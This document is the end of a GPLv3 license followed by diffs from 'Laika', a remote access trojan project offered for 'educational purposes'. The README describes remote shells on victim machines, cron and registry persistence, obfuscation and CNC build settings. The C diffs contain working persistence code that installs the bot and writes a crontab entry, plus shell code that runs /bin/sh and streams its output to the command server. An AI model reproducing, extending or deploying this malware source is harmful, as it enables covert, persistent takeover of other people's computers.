been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

View File

@@ -1,83 +1,32 @@
# Laika
<p align="center">
<a href="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml"><img src="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml/badge.svg" alt="Workflow"></a>
<a href="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml"><img src="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml/badge.svg?branch=main" alt="Workflow"></a>
<a href="https://github.com/CPunch/Laika/blob/main/LICENSE.md"><img src="https://img.shields.io/github/license/CPunch/Laika" alt="License"></a>
<br>
<a href="https://asciinema.org/a/499508" target="_blank"><img src="https://asciinema.org/a/499508.svg" /></a>
</p>
[![asciicast](https://asciinema.org/a/492854.svg)](https://asciinema.org/a/492854)
Laika is a simple cross-platform Remote Access Toolkit stack for educational purposes. It allows encrypted communication across a custom binary protocol. The bot client supports both Windows & Linux environments, while the shell & CNC server specifically target Linux environments. Laika is meant to be small and discreet, Laika believes in hiding in plain sight.
Some notable features thus far:
- [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
- [X] Server and Shell configuration through `.ini` files.
- [X] Ability to open shells remotely on the victim's machine.
- [X] CNC and Shell configuration through `.ini` files.
- [X] Open shells remotely on the victim machine.
- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
- [X] Persistence via Cron on Linux-based systems.
- [X] Persistence via Windows Registry.
- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
- [ ] Simple configuration using CMake:
- [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
- [ ] Obfuscation modes
- [X] Setting keypairs (`-DLAIKA_CNC_IP=? -DLAIKA_CNC_PORT=?`, etc.)
- [X] Enabling/Disabling Obfuscation (`-DLAIKA_OBFUSCATE=On`)
- [ ] Obfuscation modes
## Why?
## How do I use this?
Most public malware sources in the wild are nerf'd or poorly made. Laika is written in modern C, and strives to adhere to best practices while keeping a maintainable and readable code base. The reader is encouraged to compile a `MinSizeRel` build of Laika and open it up in their favorite disassembler. Take a look at how certain functions or subroutines look compared to its plaintext source. See if you can dump strings during runtime with a debugger, try to break Laika. Play both sides by breaking Laika, and improving it to make reversing and analysis harder. Most malware depend on the time that it takes to analyze a sample, this gives their malware time to do whatever before eventually being shutdown. Playing both sides will help give you insight into the methods and bitterness that is this cat and mouse game.
## Would this work in real world scenarios?
My hope is that this becomes complete enough to be accurate to real RAT sources seen in the wild. However since Laika uses a binary protocol, the traffic the bot/CNC create would look very suspect and scream to sysadmins. This is why most RATs/botnets nowadays use an HTTP-based protocol, not only to 'blend in' with traffic, but it also scales well with large networks of bots where the CNC can be deployed across multiple servers and have a generic HTTP load balancer.
I could add some padding to each packet to make it look pseudo-HTTP-like, however I haven't given much thought to this.
## CMake Definitions
| Definition | Description | Example |
| ----------------- | ------------------------------------- | --------------------------------------------------------------------------------- |
| LAIKA_PUBKEY | Sets CNC's public key | -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 |
| LAIKA_PRIVKEY | Sets CNC's private key | -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 |
| LAIKA_CNC_IP | Sets CNC's public ip | -DLAIKA_CNC_IP=127.0.0.1 |
| LAIKA_CNC_PORT | Sets CNC's bind()'d port | -DLAIKA_CNC_PORT=13337 |
| LAIKA_PERSISTENCE | Enables persistence for LaikaBot | -DLAIKA_PERSISTENCE=On |
| LAIKA_OBFUSCATE | Enables string obfuscation for LaikaBot | -DLAIKA_OBFUSCATE=On |
> examples are passed to `cmake -B <dir>`
## Configuration and compilation
Make sure you have the following libraries and tools installed:
- CMake (>=3.10)
- Compiler with C11 support (GCC >= 4.7, Clang >= 3.1, etc.)
The only dependency (LibSodium) is vender'd and statically compiled against the `/lib`. This should be kept up-to-date against stable and security related updates to LibSodium.
First, compile the target normally
```sh
$ cmake -B build && cmake --build build
```
Now, generate your custom key pair using `genKey`
```sh
$ ./bin/genKey
```
Next, rerun cmake, but passing your public and private keypairs
```sh
$ rm -rf bin build &&\
cmake -B build -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 -DCMAKE_BUILD_TYPE=MinSizeRel &&\
cmake --build build
```
Output binaries are put in the `./bin` folder
Please refer to the [Wiki](https://github.com/CPunch/Laika/wiki) for any questions relating to deployment, compilation & setup.
## Looking to contribute?
Read `CONTRIBUTING.md`
# Ansible-Playbook
To setup a test VPS for a Laika CNC, check out [this ansible playbook](https://github.com/CPunch/Laika-Playbook).

View File

@@ -1,3 +0,0 @@
# Laika Build Process
Laika has a specific setup process that need some explanation. Before

View File

@@ -14,7 +14,9 @@ file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
# include platform specific backends
if(WIN32)
file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
set(BOTFLAGS WIN32)
if (NOT LAIKA_DEBUG_BUILD)
set(BOTFLAGS WIN32)
endif ()
elseif(UNIX AND NOT APPLE)
file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
set(BOTPLATFORMLIBS util)
@@ -28,14 +30,11 @@ if(LAIKA_OBFUSCATE)
add_dependencies(LaikaBot VMBoxGen)
endif ()
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
# strip symbols for UNIX binaries
if((UNIX AND NOT APPLE) AND NOT RAWCMAKEBUILDTYPE STREQUAL "debug")
if((UNIX AND NOT APPLE) AND NOT LAIKA_DEBUG_BUILD)
message(STATUS "Stripping LaikaBot symbols...")
target_link_options(LaikaBot PRIVATE -s)
endif ()

View File

@@ -1,16 +1,17 @@
#ifndef LAIKA_BOT_H
#define LAIKA_BOT_H
#include "core/lsodium.h"
#include "core/ltask.h"
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "ltask.h"
#include "lpolllist.h"
#include "lsodium.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
struct sLaika_shell;
struct sLaika_bot {
struct sLaika_bot
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
struct sLaika_pollList pList;
@@ -23,9 +24,11 @@ struct sLaika_bot {
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
/* can throw a LAIKA_ERROR */
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
bool laikaB_poll(struct sLaika_bot *bot);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData);
#endif

View File

@@ -1,12 +1,16 @@
#ifndef LAIKA_SHELL_H
#define LAIKA_SHELL_H
#include <stddef.h>
#include "laika.h"
#include "net/lpacket.h"
#include <time.h>
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell {
struct sLaika_shell
{
uint32_t id;
};
@@ -19,13 +23,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
size_t length);
/* packet handlers */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
#endif

View File

@@ -1,32 +1,35 @@
/* platform specific code for achieving persistence on linux */
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <pwd.h>
#include "persist.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h"
#include "lmem.h"
#include "net/lsocket.h"
#include "persist.h"
#include <pwd.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static int laikaB_lockFile;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
/* create lock file */
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
filePath);
/* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
@@ -37,7 +40,8 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
/* close lock */
if (flock(laikaB_lockFile, LOCK_UN) != 0)
LAIKA_ERROR("Failed to close file lock!\n");
@@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
LAIKA_DEBUG("file lock removed!\n");
}
void getCurrentExe(char *outPath, int pathSz) {
void getCurrentExe(char *outPath, int pathSz)
{
int sz;
/* thanks linux :D */
@@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
outPath[sz] = '\0';
}
void getInstallPath(char *outPath, int pathSz) {
void getInstallPath(char *outPath, int pathSz)
{
struct stat st;
const char *home;
@@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
}
/* create install directory if it doesn't exist */
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
@@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
LAIKA_BOX_SKID_END(filePath);
}
bool checkPersistCron(char *path) {
bool checkPersistCron(char *path)
{
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
@@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
return res;
}
void tryPersistCron(char *path) {
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
void tryPersistCron(char *path)
{
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
@@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
char exePath[PATH_MAX];
char installPath[PATH_MAX];
@@ -124,7 +133,8 @@ void laikaB_tryPersist() {
getInstallPath(installPath, PATH_MAX);
/* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
@@ -139,6 +149,7 @@ void laikaB_tryPersist() {
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@@ -1,29 +1,32 @@
/* platform specific code for opening shells in linux */
#include <unistd.h>
#include "bot.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "shell.h"
#include <pty.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <pty.h>
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include <unistd.h>
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
int pid;
int fd;
};
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
struct winsize ws;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols;
ws.ws_row = rows;
@@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) {
/* child process, clone & run shell */
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
exit(0);
}
/* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill the shell */
kill(shell->pid, SIGTERM);
@@ -55,20 +59,21 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaM_free(shell);
}
/* ============================================[[ Shell Handlers ]]============================================= */
/* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
if (rd > 0) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else if (rd == -1) {
@@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
int nWritten;

View File

@@ -1,28 +1,46 @@
#include "lmem.h"
#include "lsodium.h"
#include "lerror.h"
#include "bot.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
